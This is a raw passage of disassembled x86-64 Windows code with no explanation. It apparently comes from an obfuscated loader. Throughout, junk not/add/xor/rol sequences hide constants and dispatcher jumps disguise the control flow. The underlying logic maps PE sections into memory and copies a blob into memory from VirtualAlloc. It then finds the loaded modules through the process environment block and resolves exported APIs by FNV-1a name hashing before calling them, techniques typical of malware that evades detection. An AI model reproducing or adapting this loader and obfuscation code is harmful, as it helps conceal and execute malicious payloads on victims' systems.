xor eax, 0xbff436e6
rol eax, 0x37
popf
jmp 0x1400bb3d7
mov ecx, 0x3f5678f6
pushf
not ecx
add ecx, 0xd89f10ee
xor ecx, 0xffd1b9de
rol ecx, 0x9c
popf
pushf
not ecx
add ecx, 0xe1856d53
xor ecx, 0xb535ede9
rol ecx, 0xfa
popf
pushf
not ecx
add ecx, 0x8a206139
xor ecx, 0xa227a864
rol ecx, 0x63
popf
jmp 0x1400be5f5
call qword [rsp + 0x150]
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x50]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x64], 0
jmp 0x1400be6d9
mov eax, dword [rsp + 0x64]
jmp 0x1400be67f
inc eax
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
push rax
pushf
mov eax, 0x493c77ac
pushf
not eax
add eax, 0xf41f8830
xor eax, 0x97c017a9
rol eax, 0xec
popf
pushf
not eax
add eax, 0xce47ae12
xor eax, 0xc47390f2
rol eax, 0x26
popf
pushf
not eax
add eax, 0x891cc58b
xor eax, 0xef761237
rol eax, 0x84
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x50]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x64], eax
je 0x1400be71f
push rax
pushf
mov eax, 0xe0dbbe4d
pushf
not eax
add eax, 0xa861cd6e
xor eax, 0x82957b13
rol eax, 0x37
popf
pushf
not eax
add eax, 0xdcfba43a
xor eax, 0xcb591a7f
rol eax, 0x6b
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x9d5b9fab
pushf
not eax
add eax, 0x9e7a4122
xor eax, 0x9fdbfb8a
rol eax, 0x86
popf
pushf
not eax
add eax, 0x9f54d321
xor eax, 0xe90d5c70
rol eax, 0xce
popf
pushf
not eax
add eax, 0xc65e708b
xor eax, 0x92713abd
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc5d55413
xor eax, 0x80587e17
rol eax, 0x7d
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x40]
cmp dword [rax + 0x10], 0
je 0x1400be7cd
push rax
pushf
mov eax, 0xcbac3068
pushf
not eax
add eax, 0xef1656d2
xor eax, 0xbf014c33
rol eax, 0x82
popf
pushf
not eax
add eax, 0xb1af253d
xor eax, 0xe10d76fb
rol eax, 0x66
popf
pushf
not eax
add eax, 0xd637629b
xor eax, 0x933418b0
rol eax, 0x1f
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x4006075b
pushf
not eax
add eax, 0x9f32285d
xor eax, 0x94ae2476
rol eax, 0x54
popf
pushf
not eax
add eax, 0xd72f9307
xor eax, 0xa55e5175
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x8a08223c
xor eax, 0x9cb0dc72
rol eax, 0x11
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x24]
call fcn.1400aac98
mov dword [rsp + 0x198], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, 0x68d2a273
pushf
not r8d
add r8d, 0x98f5b97b
xor r8d, 0xd25c94d2
rol r8d, 0xc6
popf
pushf
not r8d
add r8d, 0xf37d4a69
xor r8d, 0xff6f7695
rol r8d, 0xd5
popf
pushf
not r8d
add r8d, 0x93f40415
xor r8d, 0xd580c996
rol r8d, 1
popf
pushf
not r8d
add r8d, 0xd9c220d5
xor r8d, 0xb444c8a7
rol r8d, 0x1d
popf
mov edx, eax
call fcn.140161c88
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x78]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov rdx, qword [rsp + 0x40]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x48]
push rdx
not rdx
sub rdi, rdx
pop rdx
sub rdi, 1
mov rdx, rdi
mov qword [rsp + 0x378], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x378]
mov rcx, rax
call fcn.1400815da
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x48]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov r8d, dword [rsp + 0x198]
mov edx, eax
call fcn.140161c88
push rax
pushf
mov eax, 0xbc8223a9
pushf
not eax
add eax, 0xa51ea83d
xor eax, 0xb175d0c5
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xba517a30
xor eax, 0x843a132f
rol eax, 0xf8
popf
pushf
not eax
add eax, 0xb3be70fb
xor eax, 0xb84af6b2
rol eax, 0xad
popf
pushf
not eax
add eax, 0x9cefeeea
xor eax, 0x83ae59bb
rol eax, 0xaa
popf
jmp 0x1400bb3d7
jmp 0x1400be67a
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x250], rax
lea rdx, [0x18578abe5]
pushf
sub rdx, 0x45758fa5
popf
lea rcx, [0x199d09df0]
pushf
sub rcx, 0x59cd81a0
popf
call fcn.1401670ad
lea rcx, [0x192feddda]
pushf
sub rcx, 0x52fea85a
popf
sub rax, rcx
mov qword [rsp + 0x230], rax
lea rdx, [0x19f82cd28]
pushf
sub rdx, 0x5f7fb0e8
popf
lea rcx, [0x18a61d476]
pushf
sub rcx, 0x4a5eb816
popf
call fcn.1401670ad
lea rcx, [0x1ab86fe50]
pushf
sub rcx, 0x6b86c8d0
popf
sub rax, rcx
mov qword [rsp + 0x238], rax
lea rdx, [0x1b24a2ec4]
pushf
sub rdx, 0x72471284
popf
lea rcx, [0x18b65e9ab]
pushf
sub rcx, 0x4b62cd3b
popf
call fcn.1401670ad
lea rcx, [0x1a19a6361]
pushf
sub rcx, 0x619a2de1
popf
sub rax, rcx
mov qword [rsp + 0x240], rax
cmp qword [rsp + 0x230], 0
je 0x1400beb10
push rax
pushf
mov eax, 0xe029bdc7
pushf
not eax
add eax, 0xc329eab8
xor eax, 0xa457bf2d
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xdb2aec12
xor eax, 0x95b81f05
rol eax, 0x71
popf
pushf
not eax
add eax, 0x96193b09
xor eax, 0x83c84a06
rol eax, 0xfc
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xfe40a2ef
pushf
not eax
add eax, 0xe7cc2fae
xor eax, 0xc0950ec5
rol eax, 1
popf
pushf
not eax
add eax, 0xf000d42b
xor eax, 0x97fb4086
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xa1906fc8
xor eax, 0xb807d01d
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x810b4725
xor eax, 0xb0089fa1
rol eax, 0xe8
popf
jmp 0x1400bb3d7
cmp qword [rsp + 0x238], 0
je 0x1400bec21
cmp qword [rsp + 0x240], 0
jne 0x1400bebc8
push rax
pushf
mov eax, 0x75d8223a
pushf
not eax
add eax, 0xe358641d
xor eax, 0xaddc40b4
rol eax, 0xec
popf
pushf
not eax
add eax, 0x9179bd4c
xor eax, 0xeb330bc6
rol eax, 0x79
popf
pushf
not eax
add eax, 0x9ba418bb
xor eax, 0x9b2f62c5
rol eax, 0xdb
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x84182414
pushf
not eax
add eax, 0xf5c891fd
xor eax, 0x9e49b280
rol eax, 0x21
popf
pushf
not eax
add eax, 0xc282bcda
xor eax, 0x9238cade
rol eax, 0x58
popf
pushf
not eax
add eax, 0xa295892e
xor eax, 0xb81cbf1b
rol eax, 0x7e
popf
pushf
not eax
add eax, 0x8c81e17d
xor eax, 0xeffdc604
rol eax, 0xf
popf
jmp 0x1400bb3d7
mov al, 0x2b
pushf
not al
add al, 0x63
xor al, 0x1f
rol al, 0xc
popf
pushf
not al
add al, 0xfd
xor al, 0x15
rol al, 0x75
popf
pushf
not al
add al, 0xa0
xor al, 0xa2
rol al, 0xf4
popf
jmp 0x1400bff00
lea rcx, [0x1ad3e3363]
pushf
sub rcx, 0x6d3dfde3
popf
call fcn.14011d39e
mov dword [rsp + 0x1f8], eax
movsxd rax, dword [rsp + 0x1f8]
mov r9d, 0xe025f27d
pushf
not r9d
add r9d, 0xd22db5a0
xor r9d, 0x90180527
rol r9d, 0xda
popf
pushf
not r9d
add r9d, 0xc0d8746f
xor r9d, 0xc26119b5
rol r9d, 0x9e
popf
pushf
not r9d
add r9d, 0x8d189f31
xor r9d, 0xb2cce3f0
rol r9d, 0xbf
popf
mov r8d, 0xa18e5e23
pushf
not r8d
add r8d, 0xed95d671
xor r8d, 0xdcdb692e
rol r8d, 0x31
popf
pushf
not r8d
add r8d, 0xc6ea0fe9
xor r8d, 0xa43aee30
rol r8d, 0xb9
popf
mov rdx, rax
xor ecx, ecx
jmp 0x1400bed4a
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xb0], rax
lea rax, [0x1b834527b]
pushf
sub rax, 0x78341cfb
popf
mov rdi, qword [rsp + 0xb0]
mov rsi, rax
mov ecx, 0xa00f2ad1
pushf
not ecx
add ecx, 0xc06b0488
xor ecx, 0xc5e0db38
rol ecx, 0x80
popf
pushf
not ecx
add ecx, 0x99146440
xor ecx, 0xd0cf985d
rol ecx, 0xef
popf
pushf
not ecx
add ecx, 0xc9b37c1b
xor ecx, 0xd0fffaec
rol ecx, 0xa6
popf
pushf
not ecx
add ecx, 0xadb6582d
xor ecx, 0xbd0a2f45
rol ecx, 0x4f
popf
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x230]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rax, qword [rsp + 0x238]
mov rcx, qword [rsp + 0xb0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x250]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0xb0]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov rcx, rdx
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0x1e8], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x380], rax
mov rax, qword [rsp + 0x380]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x388]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x390]
mov qword [rsp + 0x1e0], rax
push rax
pushf
mov eax, 0xd476bb01
pushf
not eax
add eax, 0xe914538a
xor eax, 0xae6454c3
rol eax, 0xda
popf
pushf
not eax
add eax, 0xdd0146af
xor eax, 0xae155f59
rol eax, 0xc1
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x1e0]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x398], rax
mov eax, 0x2f23aa2f
pushf
not eax
add eax, 0xbc88566b
xor eax, 0x89c6e480
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xf64defa5
xor eax, 0xcebff2a2
rol eax, 6
popf
pushf
not eax
add eax, 0x98b8fc11
xor eax, 0xd3a3e945
rol eax, 1
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x398]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x258], rax
mov eax, dword [rsp + 0x258]
mov rcx, qword [rsp + 0xe0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0x25c]
mov dword [rsp + 0xf8], eax
mov rax, qword [rsp + 0xe8]
cmp qword [rsp + 0xf0], rax
je 0x1400bf031
push rax
pushf
mov eax, 0x6d6f5ba4
pushf
not eax
add eax, 0xc970d8ca
xor eax, 0x979017ea
rol eax, 3
popf
pushf
not eax
add eax, 0xa43bb921
xor eax, 0xbd385571
rol eax, 0x43
popf
pushf
not eax
add eax, 0xe14199c7
xor eax, 0xee5c42a8
rol eax, 0x82
popf
pushf
not eax
add eax, 0xbbdd1e21
xor eax, 0xa34eb7e1
rol eax, 0x87
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x931ca75f
pushf
not eax
add eax, 0x92a8f7ca
xor eax, 0x88d5dc19
rol eax, 0x2e
popf
pushf
not eax
add eax, 0xede8bf74
xor eax, 0x8acb759d
rol eax, 0x37
popf
jmp 0x1400bb3d7
mov dword [rsp + 0x98], 1
jmp 0x1400bf0e2
mov dword [rsp + 0x98], 0
push rax
pushf
mov eax, 0x62aa12c5
pushf
not eax
add eax, 0xe26f4e22
xor eax, 0x912e3ee6
rol eax, 0x20
popf
pushf
not eax
add eax, 0xa8e78d92
xor eax, 0x9c7c87d7
rol eax, 0x69
popf
jmp 0x1400bb3d7
movzx eax, byte [rsp + 0x98]
mov byte [rsp + 0x2d], al
movzx eax, byte [rsp + 0x2d]
test eax, eax
je 0x1400bf141
push rax
pushf
mov eax, 0xeaf053d
pushf
not eax
add eax, 0xfcf14539
xor eax, 0xb9305839
rol eax, 0xd5
popf
pushf
not eax
add eax, 0x8c09472c
xor eax, 0xcff7f395
rol eax, 0xce
popf
pushf
not eax
add eax, 0xed2fe9da
xor eax, 0x915d52c7
rol eax, 0x2a
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xaa81482c
pushf
not eax
add eax, 0x8409ea0b
xor eax, 0xf4570e0a
rol eax, 0x79
popf
pushf
not eax
add eax, 0xec7dc22a
xor eax, 0x80880bf6
rol eax, 0x51
popf
pushf
not eax
add eax, 0xefacad1f
xor eax, 0xddabe40a
rol eax, 0x98
popf
pushf
not eax
add eax, 0x86a87180
xor eax, 0xd327d8b8
rol eax, 0xaa
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x1fc], eax
mov eax, dword [rsp + 0x34]
jmp 0x1400bf1b9
dec eax
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x1fc], 0
je 0x1400bf213
push rax
pushf
mov eax, 0x3cb35007
pushf
not eax
add eax, 0x90109838
xor eax, 0xc7424263
rol eax, 0x47
popf
pushf
not eax
add eax, 0xd4d38772
xor eax, 0x93253bbf
rol eax, 0xac
popf
pushf
not eax
add eax, 0x89be6669
xor eax, 0x935ce111
rol eax, 0x62
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x43707ee2
pushf
not eax
add eax, 0xea0d30b3
xor eax, 0xb3d14ad6
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc113a600
xor eax, 0xe1621cab
rol eax, 0x96
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x3d8]
mov dword [rsp + 0x9c], eax
movabs rax, 0x9b3f8e4c6f33b761
pushf
not rax
add rax, 0x68908c6d
xor rax, 0x546ee359
rol rax, 0xa4
popf
pushf
not rax
add rax, 0x66ffc9ca
xor rax, 0x4f2f2867
rol rax, 0x64
popf
shr rax, 0x20
mov dword [rsp + 0x9c], eax
mov rax, qword [rsp + 0x3f8]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xe8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x34]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x248], rax
movabs rax, 0x266eecbc494b89a2
pushf
not rax
add rax, 0x509b67cc
xor rax, 0x6f0a2ae1
rol rax, 0xa8
popf
pushf
not rax
add rax, 0x5481c123
xor rax, 0x75fb095b
rol rax, 0xee
popf
mov ecx, 0x6fff904b
pushf
not ecx
add ecx, 0x9bd255dd
xor ecx, 0xe9065c9c
rol ecx, 0x8f
popf
pushf
not ecx
add ecx, 0xb49910e1
xor ecx, 0xba18d5b7
rol ecx, 0xe7
popf
pushf
not ecx
add ecx, 0xc2165698
xor ecx, 0xdba7b97b
rol ecx, 0x4f
popf
pushf
not ecx
add ecx, 0xd9309364
xor ecx, 0xcd3a203b
rol ecx, 0xdd
popf
and rax, rcx
mov dword [rsp + 0x200], eax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x1d8]
movzx eax, byte [rax]
mov byte [rsp + 0x2e], al
mov rax, qword [rsp + 0x1d8]
inc rax
mov qword [rsp + 0x1d8], rax
movzx eax, byte [rsp + 0x2e]
mov byte [rsp + 0x23], al
movsx eax, byte [rsp + 0x23]
test eax, eax
jne 0x1400bf423
push rax
pushf
mov eax, 0x8701e8e1
pushf
not eax
add eax, 0xd4313dde
xor eax, 0xa0280768
rol eax, 0x39
popf
pushf
not eax
add eax, 0xa156d881
xor eax, 0xb98608fc
rol eax, 0x66
popf
pushf
not eax
add eax, 0xb31493b1
xor eax, 0xa1f9f3bd
rol eax, 0xbb
popf
pushf
not eax
add eax, 0xe12089ea
xor eax, 0xde601c1d
rol eax, 0x72
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xe2afb9ce
pushf
not eax
add eax, 0xff65bb89
xor eax, 0xde53da8e
rol eax, 0x84
popf
pushf
not eax
add eax, 0xce744110
xor eax, 0xa016aa43
rol eax, 0x59
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x148], eax
jmp 0x1400bf651
xor eax, eax
test eax, eax
je 0x1400bf50b
push rax
pushf
mov eax, 0x786d2741
pushf
not eax
add eax, 0x92265c7a
xor eax, 0xedf8712f
rol eax, 0x86
popf
pushf
not eax
add eax, 0xc5e541ba
xor eax, 0xa4685a4d
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xaa912add
xor eax, 0xe4720dbd
rol eax, 0xba
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x6d8a85d3
pushf
not eax
add eax, 0xe5f225ad
xor eax, 0x872143dc
rol eax, 5
popf
pushf
not eax
add eax, 0xbdeade1e
xor eax, 0xbb425eb4
rol eax, 0x64
popf
pushf
not eax
add eax, 0xab1ff171
xor eax, 0xe64fb2c0
rol eax, 3
popf
jmp 0x1400bb3d7
movsx eax, byte [rsp + 0x23]
or eax, 0x20
mov dword [rsp + 0xa0], eax
jmp 0x1400bf5ea
movsx eax, byte [rsp + 0x23]
mov dword [rsp + 0xa0], eax
push rax
pushf
mov eax, 0x76cb1fd5
pushf
not eax
add eax, 0xf0e7910b
xor eax, 0xcf1b38a9
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xf7b18a72
xor eax, 0xf792453f
rol eax, 0xff
popf
pushf
not eax
add eax, 0xc8114300
xor eax, 0x8e69af8d
rol eax, 0x9e
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0xa0]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400bf396
mov eax, dword [rsp + 0x200]
cmp dword [rsp + 0x148], eax
jne 0x1400bf694
push rax
pushf
mov eax, 0x758405aa
pushf
not eax
add eax, 0xb9b24a72
xor eax, 0xe1b781ec
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xa3ee59a3
xor eax, 0xf407f28e
rol eax, 0x4e
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xf99e036
pushf
not eax
add eax, 0xb31d3046
xor eax, 0xa848c694
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xe2ff1f65
xor eax, 0xc38c4c03
rol eax, 0xc7
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3a8], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3a0], rax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x3a0]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x3a8]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x3b0], rax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x1e8], rax
jmp 0x1400bf8de
jmp 0x1400bf1a9
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov rax, qword [rax]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0x3c0]
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x2f], 1
movzx eax, byte [rsp + 0x2f]
test eax, eax
jne 0x1400bf833
push rax
pushf
mov eax, 0xf558b9f9
pushf
not eax
add eax, 0xc85bd74c
xor eax, 0xca684d00
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xb47071bd
xor eax, 0x8b639794
rol eax, 0x99
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x41ea374a
pushf
not eax
add eax, 0xc0e302c5
xor eax, 0xc8eb7c61
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd692f846
xor eax, 0x9f60af5f
rol eax, 0x34
popf
pushf
not eax
add eax, 0xf098a965
xor eax, 0x93ee2db0
rol eax, 0xc3
popf
jmp 0x1400bb3d7
mov qword [rsp + 0x1e8], 0
push rax
pushf
mov eax, 0x2b62ea07
pushf
not eax
add eax, 0xbe561eee
xor eax, 0xbf3aef0b
rol eax, 0x89
popf
pushf
not eax
add eax, 0x8d4a68ad
xor eax, 0xb604d7bf
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x9094acd4
xor eax, 0xa21c1583
rol eax, 0x47
popf
pushf
not eax
add eax, 0xa3793ca3
xor eax, 0x9d817874
rol eax, 0x5f
popf
jmp 0x1400bb3d7
mov ecx, 0xff765556
pushf
not ecx
add ecx, 0xe03b1b33
xor ecx, 0x9e98fc2d
rol ecx, 0x38
popf
pushf
not ecx
add ecx, 0xa1ebe14d
xor ecx, 0xb5e1e4f3
rol ecx, 0x19
popf
pushf
not ecx
add ecx, 0xea900a05
xor ecx, 0xc6120c33
rol ecx, 0xf7
popf
pushf
not ecx
add ecx, 0x819e9310
xor ecx, 0xc8287911
rol ecx, 0xfb
popf
jmp 0x1400bf938
call qword [rsp + 0x1e8]
mov r8d, 0x24294f49
pushf
not r8d
add r8d, 0x84ca08c3
xor r8d, 0x9fb8e8db
rol r8d, 0x2b
popf
pushf
not r8d
add r8d, 0xe645d219
xor r8d, 0xb0425e59
rol r8d, 0x99
popf
pushf
not r8d
add r8d, 0xd9ccc1c0
xor r8d, 0x91b1e9e0
rol r8d, 0xfe
popf
pushf
not r8d
add r8d, 0xc9fde039
xor r8d, 0xec389733
rol r8d, 0x9f
popf
mov edx, 0xd415153
pushf
not edx
add edx, 0xd7964961
xor edx, 0xee975546
rol edx, 0xa0
popf
pushf
not edx
add edx, 0xcba2c67e
xor edx, 0xbaad2d2c
rol edx, 0xd
popf
pushf
not edx
add edx, 0xd09a7140
xor edx, 0x8a96adb1
rol edx, 0x35
popf
mov rcx, qword [rsp + 0x1f0]
call fcn.140161c88
mov r8d, 0xfc65bf1b
pushf
not r8d
add r8d, 0xb11e1f76
xor r8d, 0xc84215ea
rol r8d, 0x5f
popf
pushf
not r8d
add r8d, 0xf9647306
xor r8d, 0xbae7782d
rol r8d, 0xfe
popf
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x1f0]
call fcn.1400815da
mov r8d, 0x1c66f7d4
pushf
not r8d
add r8d, 0xd1d7ee0b
xor r8d, 0x82e08538
rol r8d, 0x98
popf
pushf
not r8d
add r8d, 0x9ef0fead
xor r8d, 0x90b96e3d
rol r8d, 0xc4
popf
mov edx, 0x2a33657b
pushf
not edx
add edx, 0x9cb25458
xor edx, 0xbac23541
rol edx, 0xca
popf
pushf
not edx
add edx, 0x9db9da39
xor edx, 0xa506ebd0
rol edx, 0x33
popf
pushf
not edx
add edx, 0xcc51451c
xor edx, 0x8620caef
rol edx, 0x1d
popf
mov rcx, qword [rsp + 0xb8]
call fcn.140161c88
mov r8d, 0x12dbec62
pushf
not r8d
add r8d, 0xa4a37b17
xor r8d, 0xfd366591
rol r8d, 0xaf
popf
pushf
not r8d
add r8d, 0xcb1d76dc
xor r8d, 0x8495b272
rol r8d, 0x3e
popf
pushf
not r8d
add r8d, 0xd820ff99
xor r8d, 0x83d93314
rol r8d, 0xf7
popf
lea rdx, [rsp + 0x3c8]
mov rcx, qword [rsp + 0xb8]
call fcn.140074d18
mov r8d, 0x50e71a1d
pushf
not r8d
add r8d, 0xec57763d
xor r8d, 0xc289717f
rol r8d, 0xa9
popf
pushf
not r8d
add r8d, 0xccb393e7
xor r8d, 0xa4d0bcf1
rol r8d, 0x6c
popf
pushf
not r8d
add r8d, 0x8161d55b
xor r8d, 0xfa65ad62
rol r8d, 0x3f
popf
lea rdx, [rsp + 0x1f0]
mov rcx, qword [rsp + 0xb8]
call fcn.1400815da
push rax
pushf
mov eax, 0x678312e2
pushf
not eax
add eax, 0xa3e51b2f
xor eax, 0xbe0fc42d
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc37959c2
xor eax, 0xd0753762
rol eax, 0xda
popf
pushf
not eax
add eax, 0xe7f013ba
xor eax, 0x8ae7095c
rol eax, 0x54
popf
jmp 0x1400bb3d7
xor eax, eax
cmp eax, 1
je 0x1400bfc1c
push rax
pushf
mov eax, 0xef63dd5e
pushf
not eax
add eax, 0xe6c4fcea
xor eax, 0xda7e8868
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xd2930481
xor eax, 0x9fc10ea2
rol eax, 0xdc
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xbf18e3aa
pushf
not eax
add eax, 0xae88dadf
xor eax, 0xa359ddea
rol eax, 0x18
popf
pushf
not eax
add eax, 0xfe7c234e
xor eax, 0xc0459cba
rol eax, 0x24
popf
pushf
not eax
add eax, 0x9362e977
xor eax, 0x8cbbe158
rol eax, 0xd9
popf
jmp 0x1400bb3d7
mov r8d, 0x990bf238
pushf
not r8d
add r8d, 0xed1a5f6a
xor r8d, 0xc4e28780
rol r8d, 0x77
popf
pushf
not r8d
add r8d, 0xf9aec794
xor r8d, 0xc6a4d7fc
rol r8d, 0x48
popf
pushf
not r8d
add r8d, 0xd5121c58
xor r8d, 0xd952392a
rol r8d, 0xaa
popf
pushf
not r8d
add r8d, 0xf497cd02
xor r8d, 0x94945fd2
rol r8d, 8
popf
lea rdx, [rsp + 0x14c]
mov rcx, qword [rsp + 0x250]
call fcn.140074d18
cmp dword [rsp + 0x14c], 0x69
jne 0x1400bfd1e
push rax
pushf
mov eax, 0xa449d827
pushf
not eax
add eax, 0xf5ef7e68
xor eax, 0xf4b1865c
rol eax, 0x3b
popf
pushf
not eax
add eax, 0x91d6def2
xor eax, 0xc0ae3df0
rol eax, 0x66
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xed35221e
pushf
not eax
add eax, 0xeac3d5a1
xor eax, 0xcfae15e5
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xd47e2f75
xor eax, 0xdb0d0c01
rol eax, 0x37
popf
pushf
not eax
add eax, 0x99e7edf1
xor eax, 0x88f58425
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xf74e00b9
xor eax, 0xf50ce3e2
rol eax, 0xeb
popf
jmp 0x1400bb3d7
mov r8d, 0x8ea7bb72
pushf
not r8d
add r8d, 0xff69de94
xor r8d, 0xa0023d7f
rol r8d, 0
popf
pushf
not r8d
add r8d, 0xb5bbfd59
xor r8d, 0xd4aff3fe
rol r8d, 0x38
popf
pushf
not r8d
add r8d, 0xa1d10258
xor r8d, 0x8da0ae2a
rol r8d, 0x87
popf
lea rdx, [rsp + 0x3c8]
mov rcx, qword [rsp + 0xb8]
call fcn.1400815da
mov r8d, 0xf02a8877
pushf
not r8d
add r8d, 0xf3f9aacf
xor r8d, 0x87dbd02a
rol r8d, 0x29
popf
pushf
not r8d
add r8d, 0x830d15a1
xor r8d, 0x98547a9a
rol r8d, 0xc2
popf
pushf
not r8d
add r8d, 0xde9ee858
xor r8d, 0xd8ad68cc
rol r8d, 0x9a
popf
mov edx, 0x68c0505e
pushf
not edx
add edx, 0xd7cc04d0
xor edx, 0xad630ad6
rol edx, 0
popf
pushf
not edx
add edx, 0xaa77ff08
xor edx, 0xe80f4460
rol edx, 0x39
popf
mov rcx, qword [rsp + 0xb8]
call fcn.140161c88
jmp 0x1400bfed7
jmp 0x1400bfbe2
mov al, 0x66
pushf
not al
add al, 0x57
xor al, 0x1b
rol al, 0xdc
popf
pushf
not al
add al, 0xc
xor al, 0x7c
